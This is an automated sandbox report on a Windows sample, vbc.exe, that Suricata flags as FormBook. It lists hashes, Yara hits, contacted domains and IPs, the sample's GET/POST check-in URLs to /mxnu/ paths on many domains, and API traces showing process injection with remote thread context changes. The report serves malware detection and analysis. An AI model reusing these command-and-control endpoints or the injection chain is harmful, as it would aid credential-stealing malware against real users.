popup
Summary | ZeroBOX
  1. Home
  2. Result
  3. Report
  4. Detail Analysis

vbc.exe

NSIS UPX Malicious Library Malicious Packer PE File DLL OS Processor Check PE32
  1. Resubmit sample
Category Machine Started Completed
FILE s1_win7_x6401 Oct. 20, 2021, 3:47 p.m. Oct. 20, 2021, 3:49 p.m.
Size 253.6KB
Type PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
MD5 b1e98b432deb419643d81c167fe0dc37
SHA256 da0e2504009a426b799d9135979188e2c4533f69c2e981650afc51d5e8e320c2
CRC32 6F7CC476
ssdeep 6144:wBlL/c7DTS77ZWSwgwNbXX3VQ+Zw3JlKKjzUh30RfGK54ydrBv:Ce76hw1NXXFx+KzERtdrh
Yara
  • PE_Header_Zero - PE File Signature
  • IsPE32 - (no description)
  • Malicious_Library_Zero - Malicious_Library
  • UPX_Zero - UPX packed file
  • NSIS_Installer - Null Soft Installer

Name Response Post-Analysis Lookup
www.blue-ivy-boutique-au.com
www.ecommerceplatform.xyz
A 164.90.156.79
164.90.156.79
www.mortgagerates.solutions
A 64.190.62.111
64.190.62.111
www.naplesconciergerealty.com
CNAME naplesconciergerealty.com
A 34.102.136.180
34.102.136.180
www.clarityflux.com
A 198.54.117.218
A 198.54.117.216
A 198.54.117.217
CNAME parkingpage.namecheap.com
A 198.54.117.215
A 198.54.117.212
A 198.54.117.210
A 198.54.117.211
198.54.117.217
www.marshconstructions.com
CNAME marshconstructions.com
A 51.77.52.109
51.77.52.109
www.1sunsetgroup.com
www.historyofcambridge.com
CNAME HDRedirect-LB7-5a03e1c2772e1c9c.elb.us-east-1.amazonaws.com
A 3.223.115.185
3.223.115.185
www.megapollice.online
www.promovart.com
www.yama-nkok.com
A 118.27.122.218
118.27.122.218
www.scottjasonfowler.com
CNAME shops.myshopify.com
A 23.227.38.74
CNAME fine-art-by-scott-jason-fowler.myshopify.com
23.227.38.74
www.029atk.xyz
A 23.224.179.3
A 172.247.0.172
A 23.225.30.171
A 23.224.130.220
CNAME ch-cname1.com
A 23.224.130.219
A 23.225.30.174
CNAME www.ch-cname1.com
A 23.224.179.6
A 172.247.0.173
A 104.233.181.170
23.225.30.171
www.insightmyhome.com
A 5.79.70.98
5.79.70.98
IP Address Status Action
118.27.122.218 Active Moloch
164.124.101.2 Active Moloch
164.90.156.79 Active Moloch
198.54.117.211 Active Moloch
23.224.179.3 Active Moloch
23.227.38.74 Active Moloch
3.223.115.185 Active Moloch
34.102.136.180 Active Moloch
5.79.70.98 Active Moloch
51.77.52.109 Active Moloch
64.190.62.111 Active Moloch

Suricata Alerts

Flow SID Signature Category
TCP 192.168.56.101:49204 -> 23.227.38.74:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49204 -> 23.227.38.74:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49204 -> 23.227.38.74:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49216 -> 23.224.179.3:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49216 -> 23.224.179.3:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49216 -> 23.224.179.3:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49216 -> 23.224.179.3:80 2031088 ET HUNTING Request to .XYZ Domain with Minimal Headers Potentially Bad Traffic
TCP 192.168.56.101:49220 -> 34.102.136.180:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49218 -> 198.54.117.211:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49220 -> 34.102.136.180:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49220 -> 34.102.136.180:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49218 -> 198.54.117.211:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49218 -> 198.54.117.211:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49212 -> 118.27.122.218:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49212 -> 118.27.122.218:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49212 -> 118.27.122.218:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49208 -> 51.77.52.109:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49208 -> 51.77.52.109:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49208 -> 51.77.52.109:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49214 -> 3.223.115.185:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49214 -> 3.223.115.185:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49214 -> 3.223.115.185:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49206 -> 64.190.62.111:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49206 -> 64.190.62.111:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49206 -> 64.190.62.111:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49210 -> 5.79.70.98:80 2031412 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49210 -> 5.79.70.98:80 2031449 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected
TCP 192.168.56.101:49210 -> 5.79.70.98:80 2031453 ET MALWARE FormBook CnC Checkin (GET) Malware Command and Control Activity Detected

Suricata TLS

No Suricata TLS

Time & API Arguments Status Return Repeated

GlobalMemoryStatusEx

 1 1 0
section .ndata
suspicious_features GET method with no useragent header suspicious_request GET http://www.scottjasonfowler.com/mxnu/?XPc=bxnsXBk3/zFzprLliJ6DLuiWEz+4gG+eISCnZHlxGigaq53fO8LGUUflcVDMmN9mi3cjEVdh&Hpq=V6ALd0O0q6LdXt
suspicious_features GET method with no useragent header suspicious_request GET http://www.mortgagerates.solutions/mxnu/?XPc=e40TMWWr6xWVnQ1HwCqLobeJF4L/Z7xCu7/MTKlaRXTCRzwsua34O9neh9w9TPhFkJc6vnSR&Hpq=V6ALd0O0q6LdXt
suspicious_features GET method with no useragent header suspicious_request GET http://www.marshconstructions.com/mxnu/?XPc=uB6FNWC1vglbwwU+7YteY23vBejkvhe7mk/RqFXU3Cya7UnEdrryWwDyi3W4l929SCCXGUg+&Hpq=V6ALd0O0q6LdXt
suspicious_features GET method with no useragent header suspicious_request GET http://www.insightmyhome.com/mxnu/?XPc=/jfKiAqxBAHgqOulmGtRlW5n/Sqdafb78dllJBhjnK66Sxf6eS8KxZUn5zSBqfmdUZv1jy8Z&Hpq=V6ALd0O0q6LdXt
suspicious_features GET method with no useragent header suspicious_request GET http://www.yama-nkok.com/mxnu/?XPc=WYJTyQzBI/Nfv2zZ2IpqJP889AEH3D6sBeTTWnIrEjDNSTb8YjAN+mBSNE5Irdq8z4aXa8oH&Hpq=V6ALd0O0q6LdXt
suspicious_features GET method with no useragent header suspicious_request GET http://www.historyofcambridge.com/mxnu/?XPc=83rAwycDMUEJxLGVulxgJoLHCAQKcanhrm8XweUEKHeaWBLa77jLvzg0UgbAuk5RNaMObh69&Hpq=V6ALd0O0q6LdXt
suspicious_features GET method with no useragent header suspicious_request GET http://www.029atk.xyz/mxnu/?XPc=6sRgvWVFBb3Q/xwRSmzppKeefWZYMhtu8mXrbS5z1U4Jv8b+WQjv+VljYqCaCxejjINp6HL4&Hpq=V6ALd0O0q6LdXt
suspicious_features GET method with no useragent header suspicious_request GET http://www.clarityflux.com/mxnu/?XPc=F/DQFsF8RrKr1Us+nbLEKgHaq+2wJ3tNOSMfcadHp0CfgflqiGoqX7CzLYRNT9boMuwgDpVY&Hpq=V6ALd0O0q6LdXt
suspicious_features GET method with no useragent header suspicious_request GET http://www.naplesconciergerealty.com/mxnu/?XPc=hecv2sMFcvsyFIpzJOhZbtwMh1SG6St5/U1aPglBFWownzq2qPNpvMi/ho6Sg43JWpVw027R&Hpq=V6ALd0O0q6LdXt
request POST http://www.scottjasonfowler.com/mxnu/
request GET http://www.scottjasonfowler.com/mxnu/?XPc=bxnsXBk3/zFzprLliJ6DLuiWEz+4gG+eISCnZHlxGigaq53fO8LGUUflcVDMmN9mi3cjEVdh&Hpq=V6ALd0O0q6LdXt
request POST http://www.mortgagerates.solutions/mxnu/
request GET http://www.mortgagerates.solutions/mxnu/?XPc=e40TMWWr6xWVnQ1HwCqLobeJF4L/Z7xCu7/MTKlaRXTCRzwsua34O9neh9w9TPhFkJc6vnSR&Hpq=V6ALd0O0q6LdXt
request POST http://www.marshconstructions.com/mxnu/
request GET http://www.marshconstructions.com/mxnu/?XPc=uB6FNWC1vglbwwU+7YteY23vBejkvhe7mk/RqFXU3Cya7UnEdrryWwDyi3W4l929SCCXGUg+&Hpq=V6ALd0O0q6LdXt
request POST http://www.insightmyhome.com/mxnu/
request GET http://www.insightmyhome.com/mxnu/?XPc=/jfKiAqxBAHgqOulmGtRlW5n/Sqdafb78dllJBhjnK66Sxf6eS8KxZUn5zSBqfmdUZv1jy8Z&Hpq=V6ALd0O0q6LdXt
request POST http://www.yama-nkok.com/mxnu/
request GET http://www.yama-nkok.com/mxnu/?XPc=WYJTyQzBI/Nfv2zZ2IpqJP889AEH3D6sBeTTWnIrEjDNSTb8YjAN+mBSNE5Irdq8z4aXa8oH&Hpq=V6ALd0O0q6LdXt
request POST http://www.historyofcambridge.com/mxnu/
request GET http://www.historyofcambridge.com/mxnu/?XPc=83rAwycDMUEJxLGVulxgJoLHCAQKcanhrm8XweUEKHeaWBLa77jLvzg0UgbAuk5RNaMObh69&Hpq=V6ALd0O0q6LdXt
request POST http://www.029atk.xyz/mxnu/
request GET http://www.029atk.xyz/mxnu/?XPc=6sRgvWVFBb3Q/xwRSmzppKeefWZYMhtu8mXrbS5z1U4Jv8b+WQjv+VljYqCaCxejjINp6HL4&Hpq=V6ALd0O0q6LdXt
request POST http://www.clarityflux.com/mxnu/
request GET http://www.clarityflux.com/mxnu/?XPc=F/DQFsF8RrKr1Us+nbLEKgHaq+2wJ3tNOSMfcadHp0CfgflqiGoqX7CzLYRNT9boMuwgDpVY&Hpq=V6ALd0O0q6LdXt
request POST http://www.naplesconciergerealty.com/mxnu/
request GET http://www.naplesconciergerealty.com/mxnu/?XPc=hecv2sMFcvsyFIpzJOhZbtwMh1SG6St5/U1aPglBFWownzq2qPNpvMi/ho6Sg43JWpVw027R&Hpq=V6ALd0O0q6LdXt
request POST http://www.scottjasonfowler.com/mxnu/
request POST http://www.mortgagerates.solutions/mxnu/
request POST http://www.marshconstructions.com/mxnu/
request POST http://www.insightmyhome.com/mxnu/
request POST http://www.yama-nkok.com/mxnu/
request POST http://www.historyofcambridge.com/mxnu/
request POST http://www.029atk.xyz/mxnu/
request POST http://www.clarityflux.com/mxnu/
request POST http://www.naplesconciergerealty.com/mxnu/
Time & API Arguments Status Return Repeated

NtProtectVirtualMemory

 process_identifier: 2212
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 4096
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x72902000
process_handle: 0xffffffff
1 0 0

NtProtectVirtualMemory

 process_identifier: 2212
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
length: 8192
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x10008000
process_handle: 0xffffffff
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2208
region_size: 3158016
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00a40000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0xffffffff
1 0 0
file C:\Users\test22\AppData\Local\Temp\nsk6471.tmp\evpz.dll
file C:\Users\test22\AppData\Local\Temp\nsk6471.tmp\evpz.dll
Time & API Arguments Status Return Repeated

LookupPrivilegeValueW

 system_name:
privilege_name: SeDebugPrivilege
1 1 0
Time & API Arguments Status Return Repeated

NtAllocateVirtualMemory

 process_identifier: 2208
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000224
1 0 0
Process injection Process 2212 called NtSetContextThread to modify thread in remote process 2208
Time & API Arguments Status Return Repeated

NtSetContextThread

 registers.eip: 2000355780
registers.esp: 1638384
registers.edi: 0
registers.eax: 4314272
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000220
process_identifier: 2208
1 0 0
Elastic malicious (high confidence)
MicroWorld-eScan Zum.Androm.1
FireEye Generic.mg.b1e98b432deb4196
Cylance Unsafe
Sangfor Suspicious.Win32.Save.a
Cybereason malicious.32deb4
Arcabit Zum.Androm.1
BitDefenderTheta Gen:NN.ZedlaF.34218.cq4@ai6kbFoi
Symantec ML.Attribute.HighConfidence
APEX Malicious
Paloalto generic.ml
Kaspersky UDS:Trojan-Spy.Win32.Noon.gen
BitDefender Zum.Androm.1
Emsisoft Zum.Androm.1 (B)
McAfee-GW-Edition BehavesLike.Win32.Vopak.dc
Sophos Generic ML PUA (PUA)
SentinelOne Static AI - Malicious PE
Microsoft Trojan:Win32/Sabsik.FL.B!ml
GData Zum.Androm.1
Cynet Malicious (score: 100)
MAX malware (ai score=86)
Malwarebytes Trojan.Injector
Rising Trojan.Generic@ML.80 (RDML:QW8Y8enbHY/J+uwL0cqL1Q)
Ikarus Trojan.NSIS.Agent
Fortinet W32/Injector_AGen.AW!tr
dead_host 164.90.156.79:80
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2384
thread_handle: 0x00000220
process_identifier: 2208
current_directory:
filepath: C:\Users\test22\AppData\Local\Temp\vbc.exe
track: 1
command_line: "C:\Users\test22\AppData\Local\Temp\vbc.exe"
filepath_r: C:\Users\test22\AppData\Local\Temp\vbc.exe
stack_pivoted: 0
creation_flags: 134217732 (CREATE_NO_WINDOW|CREATE_SUSPENDED)
inherit_handles: 0
process_handle: 0x00000224
1 1 0

NtGetContextThread

 thread_handle: 0x00000220
1 0 0

NtAllocateVirtualMemory

 process_identifier: 2208
region_size: 167936
stack_dep_bypass: 0
stack_pivoted: 0
heap_dep_bypass: 0
protection: 64 (PAGE_EXECUTE_READWRITE)
base_address: 0x00400000
allocation_type: 12288 (MEM_COMMIT|MEM_RESERVE)
process_handle: 0x00000224
1 0 0

NtSetContextThread

 registers.eip: 2000355780
registers.esp: 1638384
registers.edi: 0
registers.eax: 4314272
registers.ebp: 0
registers.edx: 0
registers.ebx: 2130567168
registers.esi: 0
registers.ecx: 0
thread_handle: 0x00000220
process_identifier: 2208
1 0 0